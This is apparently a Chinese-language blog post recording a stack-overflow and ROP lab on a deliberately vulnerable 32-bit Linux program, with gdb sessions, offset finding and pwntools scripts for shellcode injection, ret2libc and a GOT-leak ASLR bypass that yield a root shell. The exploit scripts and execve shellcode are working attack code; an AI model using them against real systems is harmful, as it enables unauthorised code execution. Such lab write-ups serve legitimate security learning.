x86rop调试记录linux

关闭dep aslr和栈保护

#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

int main(int argc, char** argv) {
    vulnerable_function();
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

b main
r

(gdb) disassemble main
Dump of assembler code for function main:
   0x0804842d <+0>: push   %ebp
   0x0804842e <+1>: mov    %esp,%ebp
=> 0x08048430 <+3>: and    $0xfffffff0,%esp
   0x08048433 <+6>: sub    $0x10,%esp
   0x08048436 <+9>: call   0x8048404 <vulnerable_function>
   0x0804843b <+14>:    movl   $0xd,0x8(%esp)
   0x08048443 <+22>:    movl   $0x8048530,0x4(%esp)
   0x0804844b <+30>:    movl   $0x1,(%esp)
   0x08048452 <+37>:    call   0x8048340 <write@plt>
   0x08048457 <+42>:    leave  
   0x08048458 <+43>:    ret    
End of assembler dump.
(gdb) 
(gdb) x/10s $esp
0xbffff280: "\001"
0xbffff282: ""
0xbffff283: ""
0xbffff284: ""
0xbffff285: <incomplete sequence \372\267>
0xbffff289: ""
0xbffff28a: ""
0xbffff28b: ""
0xbffff28c: "\206r\340\267\001"
0xbffff292: ""
(gdb) Quit
(gdb) 
(gdb) disassemble
Dump of assembler code for function vulnerable_function:
=> 0x08048404 <+0>: push   %ebp
   0x08048405 <+1>: mov    %esp,%ebp
   0x08048407 <+3>: sub    $0x98,%esp
   0x0804840d <+9>: movl   $0x100,0x8(%esp)
   0x08048415 <+17>:    lea    -0x88(%ebp),%eax
   0x0804841b <+23>:    mov    %eax,0x4(%esp)
   0x0804841f <+27>:    movl   $0x0,(%esp)
   0x08048426 <+34>:    call   0x8048310 <read@plt>
   0x0804842b <+39>:    leave  
   0x0804842c <+40>:    ret    
End of assembler dump.

查看所有寄存器的值
i r(info reg)

(gdb) x/10s $ebp
0xbffff268: "\210\362\377\277;\204\004\b\334#\372\267\374\201\004\bi\204\004\b"
0xbffff27d: ""
0xbffff27e: ""
0xbffff27f: ""
0xbffff280: "\001"
0xbffff282: ""
0xbffff283: ""
0xbffff284: ""
0xbffff285: <incomplete sequence \372\267>
0xbffff289: ""
(gdb) x/10x $ebp
0xbffff268: 0x88    0xf2    0xff    0xbf    0x3b    0x84    0x04    0x08
0xbffff270: 0xdc    0x23
(gdb) 

经过分析,ebp指向的是前栈帧的地址,ebp+4指向的是ret(返回地址)

root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
gdb) ni
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
0x0804842b in vulnerable_function ()
(gdb) x/10x $ebp
0xbffff268: 0x65    0x35    0x41    0x65    0x36    0x41    0x65    0x37
0xbffff270: 0x41    0x65
(gdb) x/10s $ebp
0xbffff268: "e5Ae6Ae7Ae8Ae9\n\bi\204\004\b"
0xbffff27d: ""
0xbffff27e: ""
0xbffff27f: ""
0xbffff280: "\001"
0xbffff282: ""
0xbffff283: ""
0xbffff284: ""
0xbffff285: <incomplete sequence \372\267>
0xbffff289: ""
(gdb) 

这里目测ret地址被6Ae7覆盖了
验证下:

Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()
(gdb)

出错误地址如上,肯定是ret出的错

root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140

验证结果和我们在内存中看到的是一样的6Ae7覆盖了ret,并且字符串长度为140.

通过转储获得内存中真正的地址

#0  0x41414141 in ?? ()
(gdb) x/10s $esp-144
0xbffff250: "ABCD", 'A' <repeats 153 times>, "\n"
0xbffff2ef: ""
0xbffff2f0: "\001"
0xbffff2f2: ""
0xbffff2f3: ""
0xbffff2f4: ""
0xbffff2f5: <incomplete sequence \372\267>
0xbffff2f9: ""
0xbffff2fa: ""
0xbffff2fb: ""
(gdb) Quit
(gdb) 

我们就跳到ABCD地址上就行

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level1') 
ret = 0xbffff250

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

# p32(ret) == struct.pack("<I",ret) 
#对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)

p.send(payload) #发送payload

p.interactive()  #开启交互shell
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# echo 0 > /proc/sys/kernel/randomize_va_space
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python exp1.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './level1': pid 2412
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ whoami
[*] Process './level1' stopped with exit code -11 (SIGSEGV) (pid 2412)
[*] Got EOF while sending in interactive

搞了几次都会莫名的退出

(gdb) x/10s $esp
0xbffff680: "\334#\372\267\374\201\004\bi\204\004\b"
0xbffff68d: ""
0xbffff68e: ""
0xbffff68f: ""
0xbffff690: "\001"
0xbffff692: ""
0xbffff693: ""
0xbffff694: ""
0xbffff695: <incomplete sequence \372\267>
0xbffff699: ""
(gdb) 

查看堆栈,发现栈地址变化了,我们在程序中的硬编码似乎没有啥意义。
明明关闭了ASRL,没办法。先放着把。

最后发现,是程序编译的时候没有关闭栈保护。
gcc -fno-stack-protector -z execstack -o level1 level1.c

root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python exp1.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './mylevel': pid 2479
[*] Switching to interactive mode
$ whoami
root
$  

成功

关闭aslr和栈保护,开启dep

由于栈数据被保护,跳转过去没用。所以上面的方法就不能利用成功
这里是利用跳转到系统函数地址来执行shellcode

root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# gcc -fno-stack-protector -o level2 level1.c
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# gdb ./level2
(gdb) b main
Breakpoint 1 at 0x591
(gdb) r
Starting program: /root/Desktop/ROP_STEP_BY_STEP-master/linux_x86/level2 

Breakpoint 1, 0x00400591 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7e29b40 <__libc_system>
(gdb) print __lib_start_main
No symbol "__lib_start_main" in current context.
(gdb) print __libc_start_main
$2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **, 
    char **), void (*)(void), void (*)(void), 
    void *)} 0xb7e07190 <__libc_start_main>
(gdb) find 0xb7e07190,+2200000,"/bin/sh"
0xb7f4bdc8
warning: Unable to access 16000 bytes of target memory at 0xb7fa5b50, halting search.
1 pattern found.
(gdb) x/s 0xb7f4bdc8
0xb7f4bdc8: "/bin/sh"

首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xb7e29b40以及”/bin/sh”的地址0xb7f4bdc8。下面我们开始写exp:

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level2')
#p = remote('127.0.0.1',10002)

ret = 0xdeadbeef
systemaddr=0xb7e29b40
binshaddr=0xb7f4bdc8

payload =  'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)

p.send(payload)

p.interactive()

要注意的是system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个0xdeadbeef作为返回地址。下面我们测试一下exp:

root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python exp2.py
[!] Pwntools does not support 32-bit Python.  Use a 64-bit release.
[+] Starting local process './level2': pid 2870
[*] Switching to interactive mode
$ whoami
root

成功

开启dep和aslr,关闭栈保护

再次执行level2程序已经不能正常执行。
如果你通过sudo cat /proc/[pid]/maps或者ldd查看,你会发现level2的libc.so地址每次都是变化的。

那么如何解决地址随机化的问题呢?思路是:我们需要先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。既然栈,libc,heap的地址都是随机的。我们必须泄露出libc.so的地址。

$ objdump -d -j .plt level2

Disassembly of section .plt:

08048310 <read@plt>:
 8048310:   ff 25 00 a0 04 08       jmp    *0x804a000
 8048316:   68 00 00 00 00          push   $0x0
 804831b:   e9 e0 ff ff ff          jmp    8048300 <_init+0x30>

08048320 <__gmon_start__@plt>:
 8048320:   ff 25 04 a0 04 08       jmp    *0x804a004
 8048326:   68 08 00 00 00          push   $0x8
 804832b:   e9 d0 ff ff ff          jmp    8048300 <_init+0x30>

08048330 <__libc_start_main@plt>:
 8048330:   ff 25 08 a0 04 08       jmp    *0x804a008
 8048336:   68 10 00 00 00          push   $0x10
 804833b:   e9 c0 ff ff ff          jmp    8048300 <_init+0x30>

08048340 <write@plt>:
 8048340:   ff 25 0c a0 04 08       jmp    *0x804a00c
 8048346:   68 18 00 00 00          push   $0x18
 804834b:   e9 b0 ff ff ff          jmp    8048300 <_init+0x30>

$ objdump -R level2
//got表
DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ff0 R_386_GLOB_DAT    __gmon_start__
0804a000 R_386_JUMP_SLOT   read
0804a004 R_386_JUMP_SLOT   __gmon_start__
0804a008 R_386_JUMP_SLOT   __libc_start_main
0804a00c R_386_JUMP_SLOT   write

除了程序本身的实现的函数之外,我们还可以使用read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。

使用ldd命令可以查看目标程序调用的so库。并拷贝libc出来

root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# ldd level2
    linux-gate.so.1 (0xb7ee5000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7cf9000)
    /lib/ld-linux.so.2 (0xb7ee7000)
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# cp /lib/i386-linux-gnu/libc.so.6 libc.so

exp如下:

#!python
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so')
elf = ELF('level2')

#p = process('./level2')
p = remote('127.0.0.1', 10003)

plt_write = elf.symbols['write'] //调用打印函数
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write']    //打印函数地址
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404    //这个是目测是自定义函数的偏移
print 'vulfun= ' + hex(vulfun_addr)

payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)

print "\n###sending payload1 ...###"
p.send(payload1)

print "\n###receving write() addr...###"
write_addr = u32(p.recv(4))     //接受返回的函数地址信息
print 'write_addr=' + hex(write_addr)

print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)

payload2 = 'a'*140  + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)

print "\n###sending payload2 ...###"
p.send(payload2)

p.interactive()

payload1 = ‘a’*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
这一句比较神奇,上面上plt_write执行完需要返回,而我们plt_write的参数要放在vulfun_addr的后面。大致这么个意思。而p32我猜测应该是小端序列化这段数据。
大致把0xbffff240变成了类似“\x40\xf2\xff\xbf”

最后程序因为pwntools是64位崩溃了,无语。

小结

这里有段关键代码详细解释下:
这里写图片描述

这里写图片描述

总结

最后发现,linux所谓的aslr随机化的是lib、stack、heap,但program image 是不进行随机化的。应该是编译的时候确定的,不过有点疑问,万一两个程序都被放在一块地址块上怎么办。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值